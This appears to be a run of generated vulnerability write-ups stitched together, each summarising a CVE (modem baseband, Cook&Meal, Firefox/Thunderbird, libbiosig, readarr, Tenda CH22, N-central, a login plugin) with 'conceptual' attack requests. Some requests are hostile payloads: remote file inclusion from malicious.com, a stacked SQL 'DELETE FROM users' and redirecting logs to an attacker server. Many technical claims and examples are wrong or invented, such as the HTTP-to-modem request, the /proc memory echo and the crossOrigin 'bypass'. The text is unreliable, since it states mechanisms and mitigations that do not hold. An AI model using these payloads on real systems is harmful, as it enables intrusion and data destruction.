Author: Ameeba

Overview

This blog post delves into the details of a critical vulnerability, CVE-2025-20704, that has been identified in Modems. This vulnerability could potentially lead to a remote escalation of privilege, putting at risk any system or device that uses the affected Modem. Due to the severity of this issue and its potential for system compromise or data leakage, understanding this vulnerability, how it can be exploited, and how to mitigate it is crucial for cybersecurity professionals, IT administrators, and anyone responsible for maintaining the secure operation of connected devices.

Vulnerability Summary

CVE ID: CVE-2025-20704
Severity: High – CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Modem | All versions before patch MOLY01516959

How the Exploit Works

The CVE-2025-20704 vulnerability is caused due to a missing bounds check in the Modem, which can lead to an out of bounds write. This flaw can be exploited by an attacker who controls a rogue base station to which a UE (User Equipment) has connected. Once the UE is connected to the rogue base station, the attacker can manipulate the data sent to the Modem, causing the Modem to write data outside of its allocated memory space. This could result in a remote escalation of privilege without the need for any additional execution privileges.

Conceptual Example Code

Let’s consider a hypothetical scenario where an attacker has set up a rogue base station and a UE has connected to it. The attacker could send malicious payload to the Modem that looks something like this:

POST /modem/interface HTTP/1.1
Host: rogue.base.station
Content-Type: application/octet-stream
{ "data": "malicious_data_that_causes_out_of_bounds_write" }

This conceptual example is a gross simplification and actual attacks are likely to be more complex. But it illustrates the basic idea of how an attacker might exploit this vulnerability.

Mitigation Guidance

The most effective way to mitigate this vulnerability is to apply the vendor-provided patch (Patch ID: MOLY01516959). It is strongly recommended to test the patch in a controlled environment before deploying it into production systems to ensure it does not disrupt normal operations.
For those who are not able to immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These security systems can be configured to detect and block potentially malicious traffic that attempts to exploit this vulnerability.
The discovery of CVE-2025-20704 serves as a reminder of the importance of implementing a rigorous cybersecurity strategy that includes regular patching and updates, as well as proactive monitoring for unusual network activity.

Overview

In the ever-advancing sphere of cybersecurity, emerging threats and vulnerabilities constantly challenge the integrity of our digital systems. One such vulnerability, identified as CVE-2025-48149, exposes a critical weakness in the Cook&Meal software. This vulnerability, known as PHP Remote File Inclusion (RFI), allows an attacker to execute arbitrary PHP code remotely. It affects all versions of Cook&Meal up to and including 1.2.3. Given the high severity score of 8.1 assigned by the Common Vulnerability Scoring System (CVSS), it’s vital for users and administrators to understand the implications and take immediate remedial actions.

Vulnerability Summary

CVE ID: CVE-2025-48149
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and/or Data Leakage

Affected Products

Product | Affected Versions

Cook&Meal | Up to and including 1.2.3

How the Exploit Works

The vulnerability stems from improper control of the filename for an include/require statement in a PHP program within Cook&Meal. This flaw allows an attacker to control the input path for the file, leading to the inclusion of remote files hosted on an attacker-controlled server. The attacker can then execute arbitrary PHP code within the server’s context, potentially leading to a full system compromise.

Conceptual Example Code

An attacker could exploit this vulnerability by sending a specially crafted request to the vulnerable application. A conceptual example of this might look like the following HTTP request:

GET /index.php?language=http://malicious.com/evilcode.txt HTTP/1.1
Host: target.example.com

In this example, the ‘language’ parameter would typically be used to include a local file that contains language-specific text for the application. However, due to the vulnerability, the attacker has manipulated it to include a remote file (`evilcode.txt`) hosted on their control server (`malicious.com`).

Mitigation and Recommendations

The most effective way to address this vulnerability is by applying the vendor-supplied patch. In the absence of a patch or while waiting for its deployment, organizations can use web application firewalls (WAFs) or intrusion detection systems (IDS) to monitor and block suspicious activities related to this exploit. Regular system and application updates should also form part of a comprehensive cybersecurity strategy to prevent similar vulnerabilities in the future.

Overview

This blog aims to provide a comprehensive insight into the CVE-2025-9185 vulnerability that affects several versions of Firefox and Thunderbird. This critical vulnerability is associated with memory safety bugs that could potentially lead to system compromise or data leakage. With a CVSS severity score of 8.1, this is a high-risk issue that requires immediate attention and remediation by the affected users.
The vulnerability is particularly concerning because it can be exploited to run arbitrary code, implying that an attacker could gain unauthorized access to the system and manipulate it to their advantage. Given the widespread use of Firefox and Thunderbird, there is a need for users to understand and address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-9185
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 142 Firefox ESR | < 115.27, < 128.14, < 140.2 Thunderbird | < 142 Thunderbird ESR | < 128.14, < 140.2 How the Exploit Works

The vulnerability is embedded in the memory safety bugs present in the affected versions of Firefox and Thunderbird. Some of these bugs have shown evidence of memory corruption, which can be exploited by an attacker to run arbitrary code. By sending a specially crafted packet to the victim’s device, the attacker can trigger the vulnerability and execute their desired code. This could potentially compromise the system and lead to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample shell command that a hacker might use:

# This is a conceptual example
$ echo 'exploit code' > /proc/`pidof firefox`/mem

This command injects the ‘exploit code’ into the memory of the running Firefox process, exploiting the memory vulnerability to run arbitrary code.
Please note, this is a conceptual example and not a working exploit. It’s meant to illustrate the vulnerability rather than provide an actual method for exploitation.

Mitigation and Remediation

The most effective way to mitigate the risk associated with CVE-2025-9185 is to apply vendor patches. Updates have been released for all affected versions of Firefox and Thunderbird, which resolve the memory safety bugs.
In the absence of immediate patching, users can also employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation. Both of these mechanisms can help detect and block malicious packets that aim to exploit this vulnerability.
In conclusion, the CVE-2025-9185 vulnerability poses a significant threat to Firefox and Thunderbird users. However, with the right understanding and prompt action, users can protect their systems and data from potential compromise.

Overview

The CVE-2025-9184 vulnerability pertains to a series of memory safety bugs found in popular web browser Firefox and email client Thunderbird. This vulnerability has been identified in Firefox ESR 140.1, Thunderbird ESR 140.1, Firefox 141 and Thunderbird 141. These bugs can potentially lead to memory corruption, which, with sufficient effort, could be exploited to execute arbitrary code. The vulnerability is relevant to both individual users and organizations alike that use these software, as it could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-9184
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 142 Firefox ESR | < 140.2 Thunderbird | < 142 Thunderbird ESR | < 140.2 How the Exploit Works

The exploit takes advantage of memory safety bugs in the affected software. Some of these bugs have the potential to corrupt memory, which can potentially be used to execute arbitrary code. An attacker, with enough effort, would exploit these bugs to run unwanted code on the victim’s system. This could lead to various outcomes, from causing the system to crash to enabling the attacker to gain unauthorized control over the system.

Conceptual Example Code

An example of how the vulnerability might be exploited is not directly available due to the nature of this vulnerability. However, in theory, it could work something like this:

1. User opens a crafted malicious web page or email in Firefox or Thunderbird.
2. The malicious code exploits the memory safety bugs, causing memory corruption.
3. The corrupted memory is then used to execute arbitrary code.
4. This code could potentially compromise the system or leak data.

Please note that this is a conceptual example. The actual exploitation would depend on many factors, including the specifics of the memory safety bugs, the system’s configuration, and the attacker’s skills and goals.

Overview

The CVE-2025-9180 is a high-risk vulnerability scored at 8.1 on the CVSS scale, which is found in the Graphics: Canvas2D component of Mozilla Firefox and Thunderbird. It enables an attacker to bypass the same-origin policy, a critical security component that restricts how a document or script loaded from one origin can interact with a resource from another origin. This vulnerability can lead to potential system compromise or data leakage, posing a significant threat to user data and system integrity.
It’s not just a concern for individual users, but also for organizations that rely on these popular web browsers and email clients for their daily operations. Understanding the implications of this vulnerability and applying appropriate mitigations is crucial to maintain secure online environments.

Vulnerability Summary

CVE ID: CVE-2025-9180
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Firefox | < 142 Firefox ESR | < 115.27, < 128.14, < 140.2 Thunderbird | < 142, < 128.14, < 140.2 How the Exploit Works

This exploit takes advantage of a flaw in the Graphics: Canvas2D component that fails to properly enforce the same-origin policy. The same-origin policy is a crucial security concept that prevents scripts on one web page from accessing data on another web page unless both pages have the same origin.
However, with CVE-2025-9180, an attacker can craft a malicious script that bypasses this policy and accesses data from different origins. This could allow an attacker to steal sensitive user data from other web pages or even perform actions on behalf of the user without their knowledge or consent.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. An attacker might craft a malicious JavaScript code that targets the Canvas2D component to bypass the same-origin policy.

var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
var img = new Image();
img.crossOrigin = 'Anonymous';
img.onload = function() {
ctx.drawImage(img, 0, 0);
var data = ctx.getImageData(0, 0, img.width, img.height);
// send data to attacker's server
}
img.src = 'http://target-site.com/private-image.jpg';
document.body.appendChild(canvas);

In this example, the attacker creates an image element and sets its `crossOrigin` attribute to `’Anonymous’` to bypass the same-origin policy. They then draw the image onto a canvas and extract its data, which could include sensitive information that they can send to their own server. This code could be delivered to a victim’s browser through a range of methods, such as cross-site scripting (XSS) attacks or malicious advertisements.

Overview

The Biosig Project libbiosig 3.9.0, a popular library for processing biomedical signal data, has been discovered to contain a serious out-of-bounds read vulnerability. Labeled as CVE-2025-52461, this flaw can potentially lead to system compromise and data leakage, posing a significant risk to any organization using the affected versions of the software. This vulnerability is particularly concerning due to the critical nature of the data typically processed by Biosig, which often includes sensitive healthcare information.

Vulnerability Summary

CVE ID: CVE-2025-52461
Severity: High (CVSS: 8.2)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

The Biosig Project libbiosig | 3.9.0 and Master Branch (35a819fa)

How the Exploit Works

The vulnerability lies within the Nex parsing functionality of the Biosig software. An attacker who can convince a user to open a specially crafted .nex file can cause an out-of-bounds read error. This error can lead to the leakage of sensitive information which might include user credentials, private keys, or other confidential data. If an attacker gains access to such information, they could potentially compromise the system or network where the software is operating.

Conceptual Example Code

In this hypothetical scenario, an attacker might craft a malicious .nex file that takes advantage of the vulnerability. When this file is opened using the affected version of libbiosig, it could trigger the out-of-bounds read, leaking sensitive information.

# Attacker crafts a malicious .nex file
$ echo "malicious content" > exploit.nex
# User is tricked into opening the file with libbiosig
$ libbiosig parse exploit.nex

Please note that this is a conceptual representation and may not accurately reflect the technical specifics of the exploit.

Mitigation

Users are advised to apply the vendor’s patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help detect and block attempts to exploit this vulnerability, providing a layer of defense while a more permanent solution is implemented.

Overview

The CVE-2025-50983 is a significant vulnerability that was discovered in the readarr software version 0.4.15.2787. This vulnerability primarily affects those who use readarr for managing their books and could lead to potential system compromise or data leakage. In the ever-growing field of cybersecurity, such vulnerabilities can pose severe threats to the integrity, confidentiality, and availability of data if not resolved promptly. The severity of this vulnerability highlights the importance of regular system updates and thorough security practices.

Vulnerability Summary

CVE ID: CVE-2025-50983
Severity: High (8.3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

readarr | 0.4.15.2787

How the Exploit Works

The exploit takes advantage of a SQL Injection vulnerability in the sortKey parameter of the GET /api/v1/wanted/cutoff API endpoint in readarr 0.4.15.2787. The endpoint fails to sanitize user-supplied input correctly, allowing attackers to inject and execute arbitrary SQL commands against the backend SQLite database. Attackers can use tools such as Sqlmap for exploitation via stacked queries, demonstrating that the parameter can be misused to run arbitrary SQL statements. A heavy query can be executed using SQLite’s RANDOMBLOB() and HEX() functions to simulate a time-based payload, indicating deep control over database interactions.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP GET request:

GET /api/v1/wanted/cutoff?sortKey=1%3BDELETE+FROM+users HTTP/1.1
Host: target.example.com

This request attempts to exploit the vulnerability by inserting a SQL command (`1;DELETE FROM users`) in the sortKey parameter. If successful, this could lead to deletion of all users from the ‘users’ table in the database.

Overview

The vulnerability identified as CVE-2025-9748 poses a significant threat to systems utilizing the Tenda CH22 1.0.0.1. The affected component is the httpd function fromIpsecitem situated in the file /goform/IPSECsave. This vulnerability can lead to a stack-based buffer overflow, thereby providing an attacker with the potential to compromise the system or leak data. This blog post aims to provide a comprehensive understanding of the vulnerability, its implications, and the appropriate mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-9748
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda CH22 | 1.0.0.1

How the Exploit Works

The exploit leverages a vulnerability in the fromIpsecitem function of the httpd component in Tenda CH22 1.0.0.1. By manipulating the argument ‘ipsecno’, an attacker can trigger a buffer overflow condition. This overflow occurs because the software writes more data to the buffer than it can hold. This additional data can overwrite adjacent memory locations, potentially leading to erratic software behavior, crashes, or, in worst-case scenarios, execution of arbitrary code by the attacker.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable endpoint as shown below:

POST /goform/IPSECsave HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "ipsecno": "A"*1024 }

In this conceptual example, the “ipsecno” argument is overloaded with a large number of “A” characters (1024 in this case), which might be enough to overflow the buffer and potentially inject malicious code into the system.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor-released patch. If this is not immediately possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability. Regularly updating and patching software is a best practice in cybersecurity and can prevent many such vulnerabilities from being exploited.

Overview

The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this vulnerability could potentially have far-reaching impacts if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-7051
Severity: High (8.3 CVSS Score)
Attack Vector: Network
Privileges Required: User-level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

N-central | All versions prior to 2025.2

How the Exploit Works

The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any authenticated user, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, potential system compromise, and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /ncentral/syslog/config HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
Authorization: Bearer {user_token}
{
"syslog_config": {
"log_level": "debug",
"log_destination": "{attacker_server}"
}
}

In the above pseudocode, the attacker, authenticated as a regular user, sends a POST request to change the syslog configuration. The ‘log_level’ is set to ‘debug’ to get detailed logs, and ‘log_destination’ is set to the attacker’s server, effectively redirecting all log information to the attacker.

Mitigation Guidance

The primary solution to mitigate this vulnerability is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust protection against this vulnerability.

Overview

The cybersecurity landscape is a perpetual battlefield, with new vulnerabilities emerging regularly. One such high-severity vulnerability, tagged as CVE-2024-32832, has been detected in Hamid Alinia’s “Login with phone number” software. This vulnerability arises from a missing authorization check, which, if exploited, could lead to complete system compromise or data leakage. This vulnerability is particularly important to address as it affects the security of user login processes, a critical component in maintaining the overall security of any system.

Vulnerability Summary

CVE ID: CVE-2024-32832
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Login with phone number | Up to 1.6.93

How the Exploit Works

The exploit takes advantage of the missing authorization logic in the “Login with phone number” feature. An attacker can send a specially crafted request to the application, bypassing the authorization process. This allows unauthorized access to the system without requiring the correct credentials. The attacker then gains the same access or privileges as a legitimate user, leading to the potential for system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual representation of how the vulnerability might be exploited. This example assumes the attacker is using an HTTP POST request to the server.

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"phone_number": "1234567890",
"bypass_auth": "True"
}

In this example, the attacker uses the `bypass_auth` parameter in the request, which is not correctly checked for authorization by the server. As a result, the server grants access to the attacker without validating the phone number or the need for a password.

Mitigation Guidance

As a mitigation measure, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. These systems can detect and block abnormal traffic patterns or potentially malicious requests, providing some relief until the patch is released and applied.